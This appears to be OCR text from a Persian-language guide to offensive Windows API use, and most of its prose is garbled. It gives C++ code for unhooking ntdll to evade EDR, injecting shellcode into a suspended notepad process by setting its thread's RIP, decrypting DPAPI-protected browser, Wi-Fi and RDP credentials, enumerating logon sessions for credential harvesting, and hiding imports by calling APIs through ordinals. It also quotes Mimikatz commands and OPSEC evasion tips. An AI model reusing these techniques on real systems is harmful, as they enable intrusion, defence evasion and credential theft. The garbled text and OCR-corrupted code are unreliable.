L"Administrator" : L"Standard User") << std::endl;
std::wcout << L"Flags: " <<
pBuf[i].usril flags << std::endl;
std::wcout << L"Comment: " <<

(pBuf[i] .usril comment ? pBuf[i].usril comment
L" (none) ") << std::endl;
std::wcout << std::endl;

}
} else {
std: :wcerr << L"NetUserEnum failed with error
code: " << status << std::endl;

}

if (pBuf) {
NetApiBufferFree (pBuf) ;

}

return O;
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(usriV_flags) s slopz
QLS o iy |y laislw § Ol Cundg ez p 0l

cadd =
| Jl,g)_._g oles UF_ACCOUNTDISABLE

e o3l 03,05 UF_PASSWD_NOTREQD

Gl 00 S8 sl s 4 e Lote el
Syl oo g ;fb c.)~.|9);\§ UF_DONT_EXPIRE_PASSWD
-.\.uSG»)LO.w‘ WAJWAND)Q@&)‘ (=g WPy LS‘)"

if (pBuf[i].usril flags & UF ACCOUNTDISABLE) {
std: :wcout << L"Account 1s disabled" << std::endl;

}
308 4o oolaiul 8 )lse
Caydb (60, b e owyiws b glaclus olulls e
g 0399, Canl Ko a5 Jlad pe b sl sl aiS o
Jld s Ll b b 03ls)08 (o Oy b (g slacl o2t @
oy g oy )8 0 Coguac zl 5wl sl NetlocalGroupGetMembers L oS5 @

Lo oo s Al

Qg g0 00l pis )l Jagy Ll g aiiin So3l8 API (| e

Ol Cow Jgese e oolainl Do 10 (g0 o e 3l e s w0 col S @
asb

IS Glea b oS o by Sygon | wb eyl s (580t sl o
3,5 oolawl guiiuws syscalls 5l NetapiY'y.dll
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NtMapViewOfSection / NtUnmapViewOfSection - (g5 0,5 sla Jlee
RV
ol ) iy S (Unmap) il o0 Szsls b (Map) il gl NT cogs AP g0 oy
Wgad g ooliiul (B3l 5 Sy (g5lxe ooyl glad o (22! poar S L o STysl aasl> alasl> (o
E—.’.‘) oolawl a)l}a

DLL Hollowing / Process Hollowing e

(s d5xs (6,555L) NTDLL (40,5 Unhook e

(Reflective/Manual Mapping) cwws | oU3k & jgod DLL (5,15, @

(SysWhispers Hell's Gate uile) i palins Sl9>1,8 slaStager o
QS oo y9ue jadiyg IS L g Loadlibrary jlas il 6105 L slaSuss

&L slamal — NtMapViewOfSection
NTSYSCALLAPT NTSTATUS NtMapViewOfSection (

HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE T CommitSize,
PLARGE INTEGER SectionOffset,
PSIZE T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
)
:6o..:.15 6La:]'1.a|)l.;
T2y bl
(NtCreateSection b oobaisle) Side o 4 Jois SectionHandle
(o ol b dowe) Bas ssls s Jous ProcessHandle
() s j50 a0l pw, of & o sl BaseAddress
OAF 33 3] 5l sl + Usosna ZeroBits
< UW) o¢& Commit b a5 sloslusl J8las CommitSize
S o bl 5 Cendl SectionOffset
(3,5 559,9) CulSS o5l Viewsize
ViewShare & ViewUnmap InheritDisposition

V-9
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. UB—‘*—’“’ AllocationType
(PAGE_EXECUTE_READ uuiile) aladl> cblas> 6me%)i WinY'YProtect
13,5 oo 5L (+) STATUS_SUCCESS Juie Coibge &yg0 5

&4 slasl — NtUnmapViewOfSection
NTSYSCALLAPI NTSTATUS NtUnmapViewOfSection (
HANDLE ProcessHandle,
PVOID BaseAddress
)
A e B Bas Bilap 5l et Map L3 ise o cullKs e

(Blro Gojloy G aladl> 0351>) Process Hollowing o !, @

roslil IS s,
alis L CreateFileMapping (NtCreateSection jl oolaiwl b jize S 9,550 L el )
NtMapViewOfSection L absbdl> 4 o il

0BS5S Al 4o bosls s b (oS Gls Ojse o

% 1t =

S5 plest 51y NtUnmapViewOfSection | il (0,5 #,l>

NTDLL jod asens (6,056 — Joe Jlo
EDR (sleHook ;I joue (gl abadl> &y S 5l ntdlldll jed ddens o,bgs (5,005 )L i

1>l
CreateFile L C:\Windows\SystemY“'\ntdll.dll Jd oo Sb
NtCreateSection L jisw ool Y
NtMapViewOfSection b Jida <l Y
ol aladl> o ntdll Sgz g0 ddvud (g9, text isw o, S F
NtUnmapViewOfSection b jees (isn CilS oo Sz, 0
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aladl> « ntdllLdll clislsS — C+ ool oS diges

#include <Windows.h>
#include <winternl.h>
#include <iostream>

typedef NTSTATUS (NTAPI* pNtMapViewOfSection) (
HANDLE, HANDLE, PVOID*, ULONG PTR, SIZE T,
PLARGE INTEGER,
PSIZE T, DWORD, ULONG, ULONG

)

typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection) (HANDLE,
PVOID) ;

int main() {

HANDLE hFile =
CreateFileW(L"C:\\Windows\\System32\\ntdl1l.d11l",
GENERIC READ,

FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE ATTRIBUTE NORMAL, NULL) ;

if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open ntdll.dll" <<
std::endl;
return 1;

}

HANDLE hSection = NULL;

NTSTATUS status = NtCreateSection/(
&hSection, SECTION MAP READ, NULL,
0, PAGE READONLY, SEC IMAGE, hFile

);

if (!NT SUCCESS(status)) {
std::cerr << "NtCreateSection failed" <<
std::endl;
CloseHandle (hFile) ;
return 1;
}
SIZE T viewSize = 0;
PVOID baseAddress = NULL;
HMODULE hNtdll = GetModuleHandleW(L'"ntdll.dl1");
pNtMapViewOfSection NtMap =
(pNtMapViewOfSection) GetProcAddress (
GetModuleHandleW(L"ntdll.d11"™),
"NtMapViewOfSection"

) ;

ARR
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status = NtMap (hSection, GetCurrentProcess(),
&baseAddress, 0, 0, NULL,
&viewSize, ViewUnmap, O, PAGE READONLY) ;

if (NT SUCCESS(status)) {
std::wcout << L"Clean ntdll mapped at: " <<
baseAddress << std::endl;

// You can now read .text section or patch over
existing ntdll
//

pNtUnmapViewOfSection NtUnmap =
(pNtUnmapViewOfSection) GetProcAddress (
GetModuleHandleW(L"ntdl1l.dl1"),
"NtUnmapViewOfSection"
)

NtUnmap (GetCurrentProcess () , baseAddress);

} else {
std::cerr << "NtMapViewOfSection failed" <<
std::endl;
}

CloseHandle (hSection) ;
CloseHandle (hFile);
return 0;

}

L ol oulgs o el g yo ntdlldll Gyl 5l Lol sl o0t aitus NtCreateSection :euislooly

Spled (5,185 )L GetProcAddress | b auS iy x5 swd & jg0d

S8 30,8 o 5o oolaul o lge

o S

<l 5 NtUnmapViewOfSection b Lol DLL 45,5 Unmap DLL Hollowing
A8l s A

text. yisy cwngiil g NIl jed ades o)lgs (5,138 NTDLL 43,5 Unhook

Shellcode 5,5 5 Glae 2lo, pea ;0,5 Unmap Process Hollowing

sl 3L 51 PE clo bl b3k codlSs il cygs (gla, Sl

S | 9% olaw (slaPayload (5,138 L Shellcode Reflectors

Y
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OPSEC o _jmuseis

elold aais Sy
pobas b abdls el s gl ol Koo NtMapViewOfSection

sl ol cos
S obml o)k, Joie wlg o b SECLIMAGE 51 (gole,é oolatl
PAGE_EXECUTE_READWRITE
U”)“))" Ja.wy r:l;u‘ Sygo 50 Sl L)KM cm“uMGbDLL cblSs
Sgs Hladid caels olazel 8,8
.. 9 RUnPE (Process Hollowing ;o zl, (sl iilsy,s (g9 NtUnmapViewOfSection

e

sleHook 5l y5.c (sl (SSN g syscall; ret jsiws L) Syscall poiivs slaStub 5l 6,5 leay 455
Ol oyl Heaven's Gate |, TartarusGate SysWhispers aile ols I3l 0uS eolaiul User-mode

sdolls
Sty (o p gooe olaiy BB o STusl aladl>) s iz NtMapViewOfSection o
S o S isle 5
QS 0 BA> | Lol NtUnmapViewOfSection o
5 5 25 slaloader (gl g aisS oo ool B 1) aladl> o> 0 380 S mlgs opl e
s Sl 6500 0 00 3l G sla )l
S sed Slg>l 8 1) DlIMain b jsus ,135 L LoadLlibrary SUs,, e

Y
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SetThreadContext / GetThreadContext - (g5 0,5 slo Lo
Bar
a5 aiS o o2l 1y els (Thread) & S CPU slacld Coxdy i 5 ailes Sl milgs oy

(Instruction Pointer: EIP/RIP) ,gws o)Ly @

(Stack Pointer: ESP/RSP) axiy ,5o L

(General-purpose registers) sgoc slacls
(Segment selectors) oS slo, Sl

ool e 708 o5 Sl 5050 (2l
le s oo 1) (5510500500 5l e a8 000 Sl SUST (g5Lwosly ojl>] &5 Context (g S s

o5 SSS
oS s 4y TRIP (ol o)Ll g 3lae (3518 5 (omagiib Process Hollowing
S0 Gy 0 B S Gl e s Thread Hijacking

Loader Stub (gl > (glys jgws o0 Lo aulais Reflective Loaders

Payload ggl> abbl> a>b @ |2 e juss Shellcode Launch

&y gy
GetThreadContext
BOOL GetThreadContext (
HANDLE hThread,
LPCONTEXT lpContext
)
SetThreadContext
BOOL SetThreadContext (
HANDLE hThread,
const CONTEXT *1lpContext
)

Register Instruction Pointer

\RA#
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e S5
43513 THREAD_SET_CONTEXT L THREAD_GET_CONTEXT (s~ ML hThread e
b

A3l (Suspended) Cadgie wlaiel LB oolawl gl bz o
L CONTEXT_FULL  Jio) ceslio (slap>yp L ol CONTEXT  jksl. e

Db 8 ,lade (CONTEXT_CONTROL

:6)L°""° PR Y
el EIP jgzws oad)lous ((Co¥ V) XAF o @

Ll RIP jgiss 00dlos (P F) xFF o @

5 WowfYGetThreadContext 3| JofY  Jolepinnw 0 20VY  sbx  Glp

WS sslatwl Wowf ¥ SetThreadContext

CONTEXT (x1£) :liale

typedef struct CONTEXT ({

DWORD64 PlHome;

DWORD64 Rax;

DWORD64 Rcx;

DWORD64 Rip;

DWORD64 Rsp;

DWORD64 Rbp;

// ... many other registers

DWORD ContextFlags;
} CONTEXT;

ol (L”QT Sy L) pj0jlee 5l (S5 Wb ContextFlags laie
CONTEXT_FULL .

CONTEXT_CONTROL o
CONTEXT_INTEGER o

RN
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(P F) OSS 4 & jne puss — G digd
#include <Windows.h>
#include <iostream>

int main() {
STARTUPINFO si = { sizeof(si) };
PROCESS INFORMATION pi;

// Start suspended process (e.g., hollowing)
if
('CreateProcessW(L"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE SUSPENDED, NULL, NULL, &si, &pi)) {
std::cerr << "CreateProcess failed.\n";
return 1;

}

// Allocate shellcode

LPVOID remoteShellcode = VirtualAllocEx(pi.hProcess,
NULL, 0x1000, MEM COMMIT, PAGE_EXECUTE_READWRITE);

BYTE shellcode[] = { 0x90, 0x90, 0xC3 }; // NOP NOP
RET (just for testing)

WriteProcessMemory (pi.hProcess, remoteShellcode,
shellcode, sizeof(shellcode), NULL);

// Set up context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT FULL;

if (GetThreadContext (pi.hThread, &ctx)) {
std::cout << "Original RIP: " << std::hex <<
ctx.Rip << std::endl;
ctx.Rip = (DWORD64) remoteShellcode;

// Redirect execution
SetThreadContext (pi.hThread, &ctx);
} else {
std::cerr << "GetThreadContext failed." <<
std::endl;
}

ResumeThread (pi.hThread) ;
CloseHandle (pi.hThread) ;
CloseHandle (pi.hProcess);
return 0;

1\ #
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TS 9 30,8 o oolital 5 lge
Jea <SS

Payload (sl,>! slp ojlopn Lol & RIP i Process Hollowing

o0& )3

Sl ol Golen S0 99250 g6 Context s Thread Stomping

Oog> oS (ol =l

Ll 51 b o] Context wlas 3 S-lo 5 ol Payload Launchers

ol 4 Colan g RWX aladl> & oS s 5,5 Direct Injection
OPSEC &lSS  EDR lawgs jauseid

lobs Sy, phadl

oby RS ujleys (g9 SetThreadContext jl osliul

AS&)}S@J)LgLAA\ ASEHSRIP+@@

g o0 5,18 ot el Upouns Context ,..s5 + RWX alibl> )0 ;i

@L»LM» yordd Ly 6[.@)&@‘)
(syscall; ret stubs) puiiuw & Syscall laSaSS 5l colatul @
CreateRemoteThread + Jio)  eamaslis &,y gl 5l Ol e
(WriteProcessMemory

(RtIRemoteCall ¢<NtContinue <QueueUserAPC) &= (5% sl )a) b Wagadget ) odliiul o

%o Context L oS’ i gl 03l o,
Bl > o milo gy dlml )
U5 gy e T
oS J& 4 RIP L5 <— & Context golas Y
Ay

ResumeThread L 7 (sl > aslol
AS o Ba> | IAT o ulus slapl g wiS oo (5,90 CreateRemoteThread o onlsi 51 Gog,y ol

S oo bk & S CPU S cnsg GetThreadContext o

VY
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12l yoma iS5l el — 023 o o5 |y ] SetThreadContext o

)15 0500 51 e Payload Jsgou 5 oS Lo (gl ;2] Hollowing S 5,55 0 colawl @
Gl e (L SaSS L oS 5 0 Jy ol Ul plulis Sy coliivleguw Sjgo o0 @

VA
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CryptUnprotectData - (g0 0,5 sla Lo
Sue
6,135 50, CryptProtectData b Ll.._@ aS 1, gleesls a5 el 590559 AP S, CryptUnprotectData

&S oo (2liS 50, Windows Data Protection API (DPAPI) 5l eoliiwl by wiloads
:@’.|) oolawl é)‘j.o

(Sl oo dS WI-Fi slanlS 5 15 10 sloge, o) siiso esd (slaaaliloel Ll o
Slosiio o3 el slal3dla, b I8y Lawgs a8 lagl, b baosls oliSse, @

.. 3 RDP (Chrome (Credential Manager [LSA Secrets ;| ulus> olelbl #lzcul o

b slal
BOOL CryptUnprotectData (
DATA BLOB* pDataln,
LPWSTR* ppszDataDescr,
DATA BLOB* pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT PROMPTSTRUCT* pPromptStruct,
DWORD dwFlags,
DATA BLOB* pDataOut
)
S sl yal )y
oy bk
sls>  s4l> DATA_BLOB sls 4 Sojlal pDataln
0585 50,
(23 NULL W55 00) (5 b oy as, ppszDataDescr
wb 1850, oy o Bl ) kS g9, pOptionalEntropy
(b s
(a5b NULL b)) oo 953, pvReserved
(NULL Ugona) (5 L3 (50,5 Lal, el pPromptStruct
(IS5 + (59) PR ) ez dwFlags
DATA BLOB G ,o |, ous glifie, >9,5 pDataOut
wlo S a0

A4
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DATA_BLOB :_lalu
typedef struct DATA BLOB {
DWORD cbData;
BYTE* pbData;
} DATA BLOB;

DPAPI L oais s |35 50, Blob G iS50 ) — CH diges

#include <Windows.h>

#include <Wincrypt.h>

#include <iostream>

#pragma comment (1ib, "Crypt32.1ib")

bool DecryptDPAPI (const BYTE* encryptedData, DWORD
dataSize) {

DATA BLOB inBlob = { dataSize,
const cast<BYTE*>(encryptedData) };

DATA BLOB outBlob = {};

if (CryptUnprotectData (&inBlob, NULL, NULL, NULL,
NULL, 0, &outBlob)) {
std::cout << "Decrypted Data: ";
for (DWORD i = 0; 1 < outBlob.cbbata; i++) {
std::cout <<
static_cast<char>(outBlob.pbData[i]) ;
}
std::cout << std::endl;
LocalFree (outBlob.pbData) ;
return true;
} else {
std::cerr << "Decryption failed. Error: " <<
GetLastError () << std::endl;
return false;
}
}
int main() {
// Example encrypted data blob (you would replace
this with real encrypted data)
BYTE exampleDatal[] = { /* insert real DPAPI-
encrypted bytes here */ };
DWORD exampleSize = sizeof (exampleData);

DecryptDPAPI (exampleData, exampleSize);
return O;
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0,8 e oolaiwl o )lge

zeds daa
L cs’ug)*‘J 9 SQlite (Login Data) Jé C‘Jif‘“‘ Chrome (glajs,
CryptUnprotectData
WLAN (sla 3g 5 ;o DPAPI i oo g,l35 50, Wi-Fi glaa s
Gy, b Credential Manager ,o oo 53 RDP sladsli,Lel
00l 50, sladil) 035 (sl DPAPI 5l ajldlay (> BUCANREICI
QS o oolanul
SYSTEM + aiile) (6 s>, Hives zl,seiul 5l oo (oliS 50, LSA Secrets
(SECURITY
[EYNRYREN

23S oo oolaiwl oalio pd )5 blagy 0 a5 IS glaadS 5| CryptUnprotectData o
(3lwads b 09)9) o )5 Context 4 5L5 o
S ) abb aisls 5L SYSTEM owyiws L Token LSASS & cewl (See  ©
(EXeT o
Sl 1y sl ploa sl il sadoslinul 6550, loj o S 9,51 ST e

RN 451)1 @{L.i;f}a)

DPAPI i iy llos
ol SuSS

L APPDATA%\Microsoft\Protect/. ;| Master Key 3,5 Master Key Extraction

S )
L .diIY'Ydpapi.h + crypt L mimikatz Jie ola,lpl 5 ooliul Offline Decryption
Context ,o oS (¢l >l sl LogonUser +LoadUserProfile ;| colaiul Impersonation
KV ).\)Lg

Zlyl sl sekurlsa::credman g sekurlsa:dpapi S 5 LSASS Dump + DPAPI

laaal ,Loe!
OPSEC g apzeis
Sy PR
(wsS so ookl el s 31 (6 ke 153 o5 CryptUnprotectData gt (glos!,8
(e, Context ;o o3 g94) lawgio laS5e,+ )5 1950 SQLIte sla LB yuilgs

'Y
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ob; SYSTEM hive/ g sz ) (sw yiawd b oS 3
ilogeds (i

DS g p S oSt 5jlop 50 eadg,F ol Lasitae @
a2 alwl gl o gl >y ol bilay joly olaShe, Slles o
Al a5 aladls g Jleb s 1y sads gliS se, slaosls @

Chrome (glaje, <8 ;o oolaiwl diges

Login Data (SQLite) ools oL 0,556 )

logins Jsa> ;| password_value 5ol .Y
oolw (i O ygody jeue ey (58,5 (gl OCryptUnprotectData Jlg=>1,8 ¥
o,s5 ) dos 5lp J1,SG

&S oo 2liS 50, 1y DPAPI b 00l 6,138 50, wlu> (slaosls CryptUnprotectData o

D9 oo o3l joang (stiel Slalpl g sl Lawg 03,05 sl 0

9 RDP (slaaol,Luel Wi-Fi (gloolS )5 5550 sloyey oliS o) sl 508 od Slidos o @
RUIOV] RRVONWE S B VORI SRR P9

S 50 LSS L oS 5 50 (Jg ol o5 ololid Sy cnyd ool Sjgo o @
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LsaEnumeratelLogonSessions /

3058 o5 6l j990s APl dxsgs (6l dwadie
- o sldle
LsaGetLogonSessionData

RV

logon ) 59,9 (slecauis aen b,led ISl LSA (Local Security Authority) & lgs e APl g3 -l

widle Sy Olelbl b ol pon S oo @2l,8 1) picwes G (59, (sesSiOns

als g )5 pb @

(LUID) Conciss awlils g 0959 Loy @

(o j»¢ g service wemote dnteractive) oq,4 &9 .

(sl alz) SID @

(+ _YMSV | Kerberos Jie) coge jl>law o

e

Ol b U ghe 5 ol
RDP/remote

e & gbawis o5 lag
3,5 oolaiwl/&d puo

A Jled Qb.g)lf |n|..\§ 00 Lattine
0,s€ 9 RDS (Citrix ,0 0 olp,5 cans

D8 5l g Red Team IS 1o ol Cosnl
o).;)lf

. A‘)m
¥ ==z

aali Lzl IS8
STLLC JULTSR
loals oS digoes

LsaEnumeratelLogonSessions

NTSTATUS LsaEnumeratelLogonSessions (

PULONG LogonSessionCount,
PLUID *LogonSessionList
)/

Qilo,F oy |y (LUID) 05,9 Cencits gloaliss §l cwjpd @

S g0 0010 0algl 3 4y Foylil g yojleds @

LsaGetLogonSessionData

NTSTATUS LsaGetLogonSessionData (

PLUID

LogonlId,

PSECURITY LOGON SESSION DATA *ppLogonSessionData

)

\YY
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15,5 o b 1y et el alas b sl LUID Cilys b @

SECURITY_LOGON_SESSION_DATA xS ,lials
typedef struct SECURITY LOGON SESSION DATA {
ULONG Size;
LUID LogonId;
UNICODE STRING UserName;
UNICODE STRING LogonDomain;
UNICODE STRING AuthenticationPackage;

ULONG LogonType;
ULONG Session;

PSID Sid;

LARGE INTEGER LogonTime;
//

} SECURITY LOGON SESSION DATA,
*PSECURITY LOGON SESSION DATA;

#include <Windows.h>
#include <NTSecAPI.h>
#include <Sddl.h>
#include <iostream>

#pragma comment (1ib, "Secur32.lib")

int wmain() {
ULONG sessionCount = 0;
PLUID sessions = nullptr;

if (LsaEnumeratelogonSessions (&sessionCount,
&sessions) !'= 0) {
std::wcerr << L"Failed to enumerate logon
sessions." << std::endl;
return 1;

}

for (ULONG i = 0; i < sessionCount; ++i) {
PSECURITY LOGON SESSION DATA pSessionData =
nullptr; N N N
if (LsaGetLogonSessionData (&sessions[i],
&pSessionData) == && pSessionData) {
if (pSessionData->UserName.Buffer &é&
pSessionData->LogonDomain.Buffer) {

\YY
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std: :wcout << L"User: " <<
std::wstring (pSessionData->UserName.Buffer,
pSessionData->UserName.Length / 2)
<< L"\\" <<
std::wstring (pSessionData->LogonDomain.Buffer,
pSessionData->LogonDomain.Length / 2) << std::endl;

std::wcout << L"Auth Package: " <<
std::wstring(pSessionData->AuthenticationPackage.Buffer,
pSessionData-

>AuthenticationPackage.Length / 2) << std::endl;

std::wcout << L"Logon Type: " <<
pSessionData->LogonType << std::endl;
std::wcout << L"Session ID: " K<L

pSessionData->Session << std::endl;

if (pSessionData->Sid) {
LPWSTR sidStr;

if
(ConvertSidToStringSid(pSessionData->Sid, &sidStr)) {
std::wcout << L"SID: " << sidStr
<< std::endl;
LocalFree (sidStr);
}

}

std::wcout < "= ———
" << std::endl;
}

LsaFreeReturnBuffer (pSessionData) ;

}

LsaFreeReturnBuffer (sessions) ;
return 0O;

Logon Type e

Lsi.ua )L\M
(JguuiS 4 04,9) Interactive
Network

Batch ¥

VYO
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Service D

Unlock A4

(RDP d—v\) Remotelnteractive \.
Cachedinteractive "

(runas d—v\) NewCredentials q

Red Team las )5

op)ls 925l
Jo) UL hw s S scwss o loles Session Hijacking
(DOMAIN\Administrator
DuplicateToken {LOpenProcessToken L ol yors Token Impersonation
ImpersonateLoggedOnUser
LSASS aladl> | b je, ! 5ciul g interactive l,)lS 0,5 Tow Credential Harvesting
VDI slalae g Citrix o Jlse 5 RDP (6lo 55 0 (5l cnlio Multi-user Recon
pivot (ol p atels o)l )5 Conits glolis Domain Lateral
Movement
OPSEC 4 caus
@S S B
E9 e (sodomm (S, 50l — Jagie B oS LsaEnumerateLogonSessions  lss,3
QS e eolatl of 5
apd oo Yo el gladase o — UL (699 3o (B Cauniti 00 Ay gus yiuwd
UL odd 3,5 b unsigned gla sl jo ool
IEREERELY

oo Lo (lodug p b ool Ladl (gl jogd o oolaiul @
GetProcAddress b Solisls & yg0as LSA ailgi 0 S Resolve o

OPSEC &yl slalao ;o wrappers oS L& b aiiiss syscall 3l oolaiwl o
Mimikatz ,o Jolze
035 g0 ooliwl 5 Olygiws gl >l pKn o LAPI (il 5| Mimikatz

privilege: :debug
sekurlsa: :logonpasswords

DS oo dump | caiaiS interactive (glacanis deli)loel byl

\Y#



7008 o5 Gl 909 APl dxwgs p (gl dende

23 oo |y 09,9 Cuniid sLUID 4on LsaEnumeratelLogonSessions e
Wla 5 o5k 1y les 5 SID e £45 dials (51,5 oL LsaGetlogonSessionData e

Jhews lael harvest gla |5l b LSASS aladl> yailgs o Se5 G b oS 5 Sygo jo @
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6‘).) Uli"‘) 9 )Law UALS & h_ii W) 6)“*"“‘) mr.d«x W.A‘ )i“““’ﬁ)’ .Ia.wj) 4S MalAPI 0)3))
Jio Culoog cpl g oo oolawl ba 18l o iy a5 ool Windows APL ailss S )0 5 (oLl
)oﬁw‘mos‘, axl (65 az APl ;2 0o 0 el g WS (0 oo paass Cal K S

D2 oo a3l pa |y Cdlog Silo oy Slaiziuse ST g g oo oolaiul (Bos ax (ol s 138l

MalAPl.io ) LSLQL;)-’S
u).’z.a Qﬁ)lsuuh..\‘ﬁ Lg.)..uwo
«Injection) oS" 5,3 «(Enumeration) piwew Slelbl jleds Jio pladius jo WLAPI slos

ol leads (5 e 0,0 ¢ g il DlbLs )| ((Anti-Debugging) Slusa.s (Evasion) olulis 5l 41,8

Dy g0 odliinl Glla> £o5dax 10 Al 12 dagds Jau pw 3gd oo Sl IS

APl o oS Oloeusgs

Slains 4y s S ¢ l38ly 50 Jlz! glos )5 @ly oo )5 DLL pb b 12 (ol
315 0929 Cdlug ,Sile com

(5,8 paunds) Mapping cJl>

Jso & g0 5 00,5 Colbla 1) oyl s Gl 1) AP sas o ojl>] L 4y <o !

el (69 )5 Sl APL iz flojen oy n b (3155 as sl Sy onl S (295

Sgdse sl oz (5 Sap al wms g | Slredgi b oS ALl sy AP Wl o (oS 2
Silos JolS 5 59,4 dderon o0lo oL

MalAPLio slas I8
Sl sn )P oS S APE AL (a3 b wtad (gSias (swdige Jorie STl Jlow e
ol oasooliinl 1)z 5 0iS 0 (5,15 az mb () 45T Gygd dxgie &y
o> sog b (polu GAPL 00 )5 g b ailgd oo 50,8 oud slacl Red Teaming o
S ooy (s gl 5 58
LSS5 L Windows Internals sualss o 5 duiwe 503l 315,50k 5 Gijeal @

RYVRVS IR U JOY N N N IPURE AT IV DRVUL A AR
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MalAPLio ;| APl diges S
o sl ol 5l ol S f38l0yails 8 o 1 5909 ddigy yue <— GetWindowsDirectoryA

LS oolawl Wst@w 9 LmJ:L‘B UD)S

&b pl oS oo ol 31 S0 0),8 S alidls> yo ools Xigi ISl «— WriteProcessMemory
NIV RSP Ry~ F Y VUL C R -3 PR o P

ol gl o jldlas @ b sl Slos cos aslyp LT 0iS o o, <— IsDebuggerPresent
SSS oo onlaiul cpl 5l o

ol oyl Cundg pows b aBgs gg,0 Jie je0ug la g JyuS <— ControlServiceExA
05.,.» oolazwl GAMA‘ L;Lmuwsjw ud; uu}ob 6‘)" ‘3‘“5“5" )Lf

ol badlgs ge baylidlay DLL L glym! BB o Jls alie (g92cins <— FindResourceExA
28 g 1) ead ylen o pBe (slgiore o g,
Ihttps://malapi.io jeem) Cubu s
LQ)‘)SL.\J 9 uLO-"'LQ(Q aS el )5"\“"3 6L®AP| J)O 9 ss 6‘;.! o|) 4585 tS.: MalAPLio :osluws Ub) LY

ez 50 02 weds alil (6538 s v ailgl ol ol b oS e eoliiulig gyl
S5 Jor iglad o ondigiluand
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@i’}sﬁ] Gloal, — 550059 ,0 API Ordinal
doddo
Sed e Slel s ol el bUB—"-"-" WS o (Export) jolo DLL s oS (5yuiie b ol 2 jgaig ,o

0,8 & pamin oy 03 Sl el loas a5 o )ls 0925 w2 Ordinal pb &y 3Kl (yog, G Ll
S oo ool

fuiS 0 )5 4isS> Ordinal
S aseies Ordinal o leds G oo jolo w2 (gl wilgd oo Sd gl oo 5l DLL S 234
odimo S Olygiws L L def LB o s Oy |y LOrdinal (pl wlgs oo sdimdanwgs
ookl a4y 5L gy S 315 0 led e b 1) Hlais a0 ali Wilgs o S0 DLL L asliyy S
Iy ael (6,088 )L Lo wilgs oo LOrdinal 3l oolaiwl woonl ais ;) avslio | Sas joo dae auglie 5>

a5 a4 s a5 Sl l5dla s s logase was 2als oS

Llse
PP wSre cwdige Ogd o fxe mlgi pb s> — (Obfuscation) 3luilesy ¥

Dy s

b Ss ) 5 coles

FlSie mb 5 Haegd wi)lo 055 olacl ladd S8y — Slcw &)l g llgm rals

dinly gladols p cars s |, Ordinal (gleo lois DLL &0z aseud 51— 5,55l i Y
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58l § Codl o s
gl 1 ez aniS s Sl lolid b oS e eolizl Ordinal ji Ll 5l (ol

45l 3929 Import Address Table (IAT) Jgo> ,o MessageBoxA L CreateRemoteThread  Jio

Ordinal L MessageBoxA 3l colaiwl — los Jlwo
&b Ordinal o5 lag — Y a8
Logsyo Ordinal o,leds g &y Export Table o,lg iS40 |, userYY.dil LB PEView Jio obo,lnl L

Sl 1) MessageBoxA

A3l YVOY Lo s (53, 908 (! oS (2,8

ChWindows!System32\user32.dll Properties >
General Imports Exports  Load config
s

Name Ordinal VA K

Lodk\WorkStation 2126 0x34610

LogicalToPhysicalPoint 2127 0x34630

LogicaTaPhysicalPointForPerMonitorDPT 2128 0x34640

LookupIconIdFromDirectory 2129 0x50630

LookupIconIdFromDirector yEx 2130 0x25380

MakeThreadTSFEventAware 2139 Ox2ae10

MapDialogRect 2140 0x31710

MapPointsByVisualldentifier 2141 0x34650

MapVirtualkeyA 2142 0x81d&0

MapVirtualkeyExa 2143 Ox81df

MapVirtualkeyExW 2144 Ox2adfi

MapVirtualkeyw 2145 0x27a00

MapVisualR elativePoints 2146 0x34660

MapWindowPaints 2147 Oxa%e0

METoWCSEx 2131 Ox23aal

MBToWCSExt 2132 0x23a70

MB_GetString 2133 Ox77f40

MenultemFromPoint 2148 0x34670

MenuwWindowProca 2149 Ox4f390

MenuWindowProch! 2150 Ox4f410

MessageBeep 2151 0x858e0

MessageBoxA 2152 Ox77F7

MessageBoxExa 2153 Ox77fd0

MessageBoxEx\W 2154 0x73000 b
Cancel

caS Ol ] s, g0 U AT (Import Address Table) Jsa> jloolicul b - A, gai
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o2 ek TE L Ugono a2l 428ls 5,8 59005 (slodsend (rm ol (5o Ordinal oylas i
RWLIRAPEN

Com Sl b Ordinal g5l (g)les) — ¥ 68

C: \Users\Op top\Scri ows API 101>python ordinalspe.py C:\Windows\System32\user32.d1l MessageBoxA
iFunction as ordinal: 2150 (Decimal)

\Desktop\Scripts\W ows API 101>

MessageBoxA. <.l s/, Ordinal o,les 4z 9 4 gar

S oolawl Ordinal (0,5 oy (sl GitHub o ordinal_pe.py e Python <o Sl 5l ol o

\YY
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Ordinal b &ls Jly1 3 (sl CHt oS iy — ¥ pl8
alewg 4 userYY.dil L6 51 1) MessageBoxA sl a5 ool 05,90 CH+ oS 5 elS digas S5 x|

S5
#include <windows.h>
#include <iostream>

#include <stdio.h>

ol Ordinal o,les

int main() {
// Load user32.dl1l
HMODULE hModule =
if ('hModule) {

std::cerr <<
std::endl;

return |;

LoadLibrary(L"user32.d11");

"Failed to load user32.dll!" <<
}

// Define function pointer type matching MessageBoxA

typedef int (WINAPI* MsgBoxFunc) (HWND, LPCSTR,
LPCSTR, UINT);

// Resolve function by ordinal

(e.g., 2150)
MsgBoxFunc OrdinalBoxA =

(MsgBoxFunc) GetProcAddress (hModule,
if (!'OrdinalBoxA) {
std::cerr <<
std::endl;

Freelibrary (hModule) ;
return 1 ;

(LPCSTR)2150) ;

"Failed to locate the function!" <L

}

// Call the resolved MessageBoxA function

OrdinalBoxA (NULL, "Hello, World!", "Test
MessageBoxA", MB OK | MB ICONINFORMATION) ;

// Free the DLL

FreelLibrary (hModule) ;
return 0;

Ordinal ;| eolatl L Windows APl abi G gils>,8 08" JolS esss
#include <windows.h>

#include <iostream>

#include <stdio.h>

‘P ghe
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LoadLibrary, GetProcAddress,  Jio jsaiu9 APl milgs slas Uel Joli «— windows.h e
.MessageBoxA
std::cerr g std::cout Jie olaibwl 9,5/ 6599 (sl < iostream o

S (55900 Syl 50 €€ o laslinl milgs «— stdioh e
int main() {
Poae
